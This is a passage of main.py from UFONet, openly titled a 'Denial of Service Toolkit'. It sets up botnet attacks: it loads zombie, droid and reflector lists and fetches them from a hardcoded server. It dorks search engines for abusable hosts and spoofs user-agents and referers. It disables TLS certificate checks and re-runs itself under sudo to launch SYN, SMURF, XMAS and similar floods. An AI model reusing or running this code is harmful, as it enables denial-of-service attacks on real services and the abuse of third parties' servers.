main.py 207 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2013/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import os, sys, re, traceback, random, time, threading, base64, string, math
  10. import StringIO, socket, httplib, urllib, urllib2, ssl, cgi, json, gzip
  11. from uuid import getnode
  12. from urlparse import urlparse
  13. from random import randrange, shuffle
  14. from options import UFONetOptions
  15. from update import Updater
  16. from herd import Herd
  17. from zombie import Zombie
  18. from doll import Doll
  19. from core.tools.inspector import Inspector
  20. from core.tools.abductor import Abductor
  21. from core.tools.ufoscan import UFOSCAN
  22. from core.mods.loic import LOIC
  23. from core.mods.loris import LORIS
  24. from core.mods.ufosyn import UFOSYN
  25. from core.mods.spray import SPRAY
  26. from core.mods.smurf import SMURF
  27. from core.mods.xmas import XMAS
  28. from core.mods.nuke import NUKE
  29. class UFONet(object):
  30. def __init__(self):
  31. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  32. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  33. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  34. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] / Try [DIY] your own mirror
  35. self.external_check_service1 = 'https://downforeveryoneorjustme.com/' # set external check service 1 [OK! 13/12/2018]
  36. self.external_check_service2 = 'https://status.ws/' # set external check service 2 [OK! 13/12/2018]
  37. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  38. self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 15/12/2018]
  39. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 15/12/2018]
  40. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 15/12/2018]
  41. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  42. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  43. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  44. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  45. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  46. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  47. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  48. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  49. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  50. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  51. self.timeline_file = 'docs/VERSION' # set source for code releases
  52. self.news_file = "server/news.txt" # set source path to retrieve [Blackhole] [News]
  53. self.missions_file = "server/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  54. self.board_file = "server/board.txt" # set source path to retrieve [Blackhole] [Board]
  55. self.grid_file = "server/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  56. self.wargames_file = "server/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  57. self.referer = '' # black magic
  58. self.port = "8080" # default injection port
  59. self.mothershipname = "core/txt/shipname.txt"
  60. self.mothership_baptism() # generating static name/id for your mothership ;-)
  61. self.head = False
  62. self.payload = False
  63. self.external = False
  64. self.attack_mode = False
  65. self.connection_failed = False
  66. self.total_possible_zombies = 0
  67. self.herd = Herd(self)
  68. self.sem = False
  69. self.db_flash = 0 # db stress counter
  70. self.total_aliens = 0
  71. self.aliens_hit = 0
  72. self.aliens_fail = 0
  73. self.total_droids = 0
  74. self.droids_hit = 0
  75. self.droids_fail = 0
  76. self.total_ucavs = 0
  77. self.ucavs_hit = 0
  78. self.ucavs_fail = 0
  79. self.total_rpcs = 0
  80. self.rpcs_hit = 0
  81. self.rpcs_fail = 0
  82. self.total_loic = 0
  83. self.total_loris = 0
  84. self.total_syn = 0
  85. self.total_spray = 0
  86. self.total_smurf = 0
  87. self.total_xmas = 0
  88. self.total_nuke = 0
  89. self.total_zombies_failed_connection = 0
  90. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  91. self.ctx.check_hostname = False
  92. self.ctx.verify_mode = ssl.CERT_NONE
  93. self.nat_error_flag = "OFF"
  94. self.trans_zombies = 0
  95. self.scanned_zombies = 0
  96. self.loadcheck_counter = 0
  97. self.loadcheck_prev_size = None
  98. self.loadcheck_prev_load = None
  99. self.loadcheck_first_size = None
  100. self.loadcheck_first_load = None
  101. self.loadcheck_size_list = []
  102. self.loadcheck_load_list = []
  103. self.loadcheck_size_median = None
  104. self.loadcheck_size_max = None
  105. self.loadcheck_size_min = None
  106. self.loadcheck_load_median = None
  107. self.loadcheck_size_max = None
  108. self.loadcheck_size_min = None
  109. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  110. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  111. self.expire_timing = 30 # default expiring time per round
  112. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  113. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  114. def mothership_baptism(self):
  115. if os.path.exists(self.mothershipname) == True:
  116. f = open(self.mothershipname)
  117. self.mothership_id = f.read()
  118. f.close()
  119. else:
  120. self.mothership_ids = []
  121. f = open(self.motherships_file)
  122. motherships = f.readlines()
  123. f.close()
  124. for ship in motherships:
  125. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  126. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()))
  127. m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism
  128. m.write(str(self.mothership_id.upper()))
  129. m.close()
  130. def create_options(self, args=None):
  131. self.optionParser = UFONetOptions()
  132. self.options = self.optionParser.get_options(args)
  133. if not self.options:
  134. return False
  135. return self.options
  136. def banner_welcome(self):
  137. print " 0===============================================0"
  138. print " || ||"
  139. print " (00) || * Botnet -> [DDoS]: ||"
  140. print " (O)_ (O) '----' (O) _(O) || ||"
  141. print " | |.''.( xx ).''.| | || /Zombies : HTTP GET bots ||"
  142. print " .'.' |'..'| '.'. || /Droids : HTTP GET (+params) bots ||"
  143. print " .-. .' /'--.__|_00_|__.--'\ '. .-. || /Aliens : HTTP POST bots ||"
  144. print " (O).)-| | \ x | |x / | |-(.(O) || /UCAVs : Web Abusing bots ||"
  145. print " `-' '-'-._'-./ ---- \.-'_.-'-' `-' || /X-RPCs : XML-RPC bots ||"
  146. print " _ | | '-.___||___.-' | | _ || /SPRAY : TCP-SYN reflector ||"
  147. print " .' _ | | O | __ | O | | _ '. || /SMURF : ICMP echo flooder ||"
  148. print " / .' ''.| || | /_00_\ | || |.'' '. \ || ||"
  149. print " | ' | =| | ###### | |= |' | || * Close Combat -> [DoS]: ||"
  150. print " | |(0)| '. \||__**_ ||/ .' |(0)| | || ||"
  151. print " \ '._.' '. | \_##_/ | .' '._.' / || /LOIC : Fast HTTP requests ||"
  152. print " '.__ ____0_'.|__'--'__|.'_0____ __.' || /LORIS : Slow HTTP requests ||"
  153. print " .'_.-| |-._'. || /UFOSYN : TCP-SYN flooder ||"
  154. print " || /XMAS : TCP-XMAS flooder ||"
  155. print " + Class: UFONet / ViPR404+ (model E) + || /NUKE : TCP-STARVATION attack ||"
  156. print " || ||"
  157. print " 0|=============================================|0"
  158. print ""
  159. def banner(self):
  160. print '='*75, "\n"
  161. print "888 888 8888888888 .d88888b. 888b 888 888 "
  162. print "888 888 888 d88P Y888b 8888b 888 888 "
  163. print "888 888 888 888 888 88888b 888 888 "
  164. print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 "
  165. print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 "
  166. print "888 888 888 888 888 888 Y88888 88888888 888 "
  167. print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. "
  168. print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888"
  169. print self.optionParser.description, "\n"
  170. print '='*75
  171. def generate_exit_msg(self):
  172. m = ["Oderint dum metuant!", "Ad susceptum perficiendum!", "Chao ab ordo!", "Obscuris vera involvens!", "Omnia mutantur, nihil interit!", "Orbis unum!", "Si vis pacem, para bellum!", "Homo homini lupus!", "Causa de timendi est nescire!", "Adhuc tempus!", "Iniqua nunquam regna perpetuo manent!", "Ab uno disce omnes!", "Unus pro omnibus, omnes pro uno!", "Age quod agis!", "Natalis solis invicti!", 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!', 'Keep learning!', 'Freedom is not measured, freedom is enjoyed!', 'Cr4ck the syst3m!', 'Hack the Planet!', 'Thanks and good luck!']
  173. self.exit_msg = "Generating random exit... \n\n"
  174. self.exit_msg += " -> "+str(random.choice(m).strip())
  175. def AI(self):
  176. try:
  177. import turtle as AI
  178. print "\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n"
  179. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  180. bg = random.choice(colors).strip()
  181. t = AI.Pen()
  182. AI.bgcolor(bg)
  183. r = random.randrange(100,100000)
  184. for x in range(r):
  185. t.pencolor(colors[x%6])
  186. w = random.randrange(100,1000)
  187. t.width(x/w + 1)
  188. t.forward(x)
  189. l = random.randrange(50,1000)
  190. t.left(l)
  191. except:
  192. print "[AI] %!$1#9#84#~... -> [Exiting!]"
  193. pass
  194. def round_float(self, num):
  195. return str(int(round(num, -1)))[2] # black magic
  196. def show_mac_address(self):
  197. mac = getnode() # to get physical address
  198. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  199. return hex_mac
  200. def show_ips(self):
  201. import requests
  202. try:
  203. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  204. s.connect(("8.8.8.8", 80))
  205. private_ip = s.getsockname()[0] # black magic
  206. s.close()
  207. except:
  208. private_ip = "Unknown"
  209. try:
  210. public_ip = requests.get(self.check_ip_service3).text
  211. except:
  212. try:
  213. public_ip = requests.get(self.check_ip_service2).text
  214. except:
  215. try:
  216. public_ip = requests.get(self.check_ip_service1).text
  217. except:
  218. public_ip = "Unknown"
  219. return private_ip, public_ip
  220. def try_running(self, func, error, args=None):
  221. options = self.options
  222. args = args or []
  223. try:
  224. return func(*args)
  225. except Exception as e:
  226. if options.verbose:
  227. print(error, "error")
  228. traceback.print_exc()
  229. def checkeuid(self):
  230. try:
  231. euid = os.geteuid()
  232. except:
  233. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  234. print "[AI] "+self.exit_msg+"\n"
  235. sys.exit(2) # return
  236. return euid
  237. def start_ship_engine(self):
  238. self.agents = [] # generating available user-agents
  239. f = open(self.agents_file)
  240. agents = f.readlines()
  241. f.close()
  242. for agent in agents:
  243. self.agents.append(agent)
  244. self.user_agent = random.choice(self.agents).strip()
  245. self.search_engines = [] # available dorking search engines
  246. self.search_engines.append('bing') # [30/12/2018: OK!]
  247. self.search_engines.append('yahoo') # [30/12/2018: OK!]
  248. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  249. #self.search_engines.append('duck') [09/08/2016: deprecated! -> duck has removed 'inurl' operator]
  250. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  251. if not os.path.exists("core/json/"): # create gui json cfg files folder
  252. os.mkdir("core/json/")
  253. self.banner_welcome()
  254. self.update_flying_stats() # update flying time stats
  255. chargo = self.check_mothership_chargo() # check mothership chargo
  256. self.update_max_chargo(int(chargo)) # update max chargo stats
  257. self.generate_exit_msg() # generate random exit msg
  258. def run(self, opts=None):
  259. if opts:
  260. self.create_options(opts)
  261. options = self.options
  262. # start threads
  263. if not self.options.threads:
  264. self.options.threads=5 # default number of threads
  265. self.sem = threading.Semaphore(self.options.threads)
  266. # start ship engine
  267. self.start_ship_engine()
  268. # check proxy options
  269. proxy = options.proxy
  270. if options.proxy:
  271. try:
  272. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  273. m = re.search(pattern, proxy)
  274. if m is None:
  275. self.banner()
  276. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  277. return
  278. else:
  279. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  280. except Exception:
  281. self.banner()
  282. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  283. return
  284. # check tor connection
  285. if options.checktor:
  286. url = self.check_tor_url # TOR status checking site
  287. self.banner()
  288. print "\nSending request to: " + url + "\n"
  289. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  290. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  291. try:
  292. if options.proxy: # set proxy
  293. self.proxy_transport(options.proxy)
  294. req = urllib2.Request(url, None, headers)
  295. tor_reply = urllib2.urlopen(req, context=self.ctx).read()
  296. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  297. if not tor_reply or 'Congratulations' not in tor_reply:
  298. print("It seems that Tor is not properly set.\n")
  299. print("IP address appears to be: " + your_ip + "\n")
  300. else:
  301. print("Congratulations!. Tor is properly being used :-)\n")
  302. print("IP address appears to be: " + your_ip + "\n")
  303. except:
  304. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  305. sys.exit(2) # return
  306. # run AES256+HMAC-SHA1 enc/dec tool
  307. if options.cryptomsg:
  308. from server.crypter import Cipher
  309. from base64 import b64encode, b64decode
  310. print " "
  311. print " ____...------------...____ "
  312. print " _.-'' /o/__ ____ __ __ __ \o\_`'-._ "
  313. print " .' / / \ \ '. "
  314. print " |=====/o/======================\o\=====| "
  315. print " |____/_/________..____..________\_\____| "
  316. print " / _/ \_ <_o#\__/#o_> _/ \_ \ "
  317. print " \__/_____\####/0213411543/####/_____\__/ "
  318. print " |===\!/========================\!/===| "
  319. print " | |=| .---. |=| | "
  320. print " |===|o|=========/ \========|o|===| "
  321. print " | | | \() ()/ | | | "
  322. print " |===|o|======{'-.) A (.-'}=====|o|===| "
  323. print " | __/ \__ '-.\uuu/.-' __/ \__ | "
  324. print " |==== .'.'^'.'.====|====.'.'^'.'.====| "
  325. print " | _\o/ __ {.' __ '.} _ _\o/ _| "
  326. print " '''''''''''''''''''''''''''''''''''''' "
  327. print "\nUFONet Crypter (AES256+HMAC-SHA1)\n"
  328. print " -> (140 plain text chars = 69 encrypted chars)\n"
  329. text = str(raw_input("- Enter text: "))
  330. input_key = str(raw_input("- Enter key: "))
  331. key = b64encode(input_key)
  332. c = Cipher(key, text)
  333. msg = c.encrypt()
  334. c.set_text(msg)
  335. print '\n-> Ciphertext: [', msg, ']'
  336. print '\nLength:', len(msg)
  337. print '\n-> Key (share it using SNEAKNET!):', input_key
  338. print '\nDecryption PoC:', c.decrypt(), "\n"
  339. # run shownet tool
  340. if options.shownet:
  341. hex_mac = self.show_mac_address()
  342. self.banner()
  343. print "-> Network Info:"
  344. print '='*44
  345. print "-"*35
  346. print "|- MAC Address :", hex_mac
  347. print "|" +"-"*34
  348. private_ip, public_ip = self.show_ips()
  349. print "|- IP Private :", private_ip
  350. print "|" +"-"*34
  351. t = urlparse(self.check_ip_service3)
  352. name_service = t.netloc
  353. print "|- IP Public :", public_ip +" | ["+name_service+"]"
  354. print "-"*35
  355. print '='*75, "\n"
  356. # run UFOSCAN tool (check EUID when running UFOSCAN)
  357. if options.xray:
  358. euid = self.checkeuid()
  359. if euid != 0:
  360. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  361. try:
  362. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  363. os.execlpe('sudo', *args)
  364. except:
  365. pass # keep running
  366. else:
  367. if not options.xrayps:
  368. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  369. ports = options.xrayps
  370. try:
  371. portX, portY = ports.split('-')
  372. try:
  373. portX = int(portX)
  374. portY = int(portY)
  375. except:
  376. portX = 1
  377. portY = 1024
  378. print "[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n"
  379. except:
  380. portX = 1
  381. portY = 1024
  382. print "[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n"
  383. self.banner()
  384. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  385. print '='*22 + '\n'
  386. try:
  387. self.instance = UFOSCAN() # instance main class for scanning operations
  388. xray = self.instance.scanning(options.xray, portX, portY)
  389. except Exception, e:
  390. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  391. if self.options.verbose:
  392. traceback.print_exc()
  393. return
  394. # show code timeline
  395. if options.timeline:
  396. f = open(self.timeline_file, 'r')
  397. releases = f.readlines()
  398. f.close()
  399. self.banner()
  400. print "-> Code timeline:"
  401. print '='*44
  402. print "-"*35
  403. for r in releases:
  404. print r.strip('\n')
  405. print "-"*35
  406. print '='*75, "\n"
  407. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  408. if options.ufosyn:
  409. euid = self.checkeuid()
  410. if euid != 0:
  411. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  412. try:
  413. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  414. os.execlpe('sudo', *args)
  415. except:
  416. pass # keep running, but UFOSYN will fail
  417. # check EUID when running SPRAY (root required)
  418. if options.spray:
  419. euid = self.checkeuid()
  420. if euid != 0:
  421. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  422. try:
  423. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  424. os.execlpe('sudo', *args)
  425. except:
  426. pass # keep running, but SPRAY will fail
  427. # check EUID when running SMURF (root required)
  428. if options.smurf:
  429. euid = self.checkeuid()
  430. if euid != 0:
  431. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  432. try:
  433. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  434. os.execlpe('sudo', *args)
  435. except:
  436. pass # keep running, but SMURF will fail
  437. # check EUID when running XMAS (root required)
  438. if options.xmas:
  439. euid = self.checkeuid()
  440. if euid != 0:
  441. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  442. try:
  443. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  444. os.execlpe('sudo', *args)
  445. except:
  446. pass # keep running, but XMAS will fail
  447. # check EUID when running NUKE (root required)
  448. if options.nuke:
  449. euid = self.checkeuid()
  450. if euid != 0:
  451. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  452. try:
  453. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  454. os.execlpe('sudo', *args)
  455. except:
  456. pass # keep running, but NUKE will fail
  457. # search for [Zombies] on search engines results (dorking)
  458. if options.search:
  459. zombies = []
  460. if options.engine:
  461. engine = options.engine
  462. else:
  463. engine = "yahoo" # default search engine
  464. try:
  465. self.banner()
  466. if not os.path.exists(self.humans_file) == True:
  467. f = open(self.humans_file, 'w')
  468. f.close()
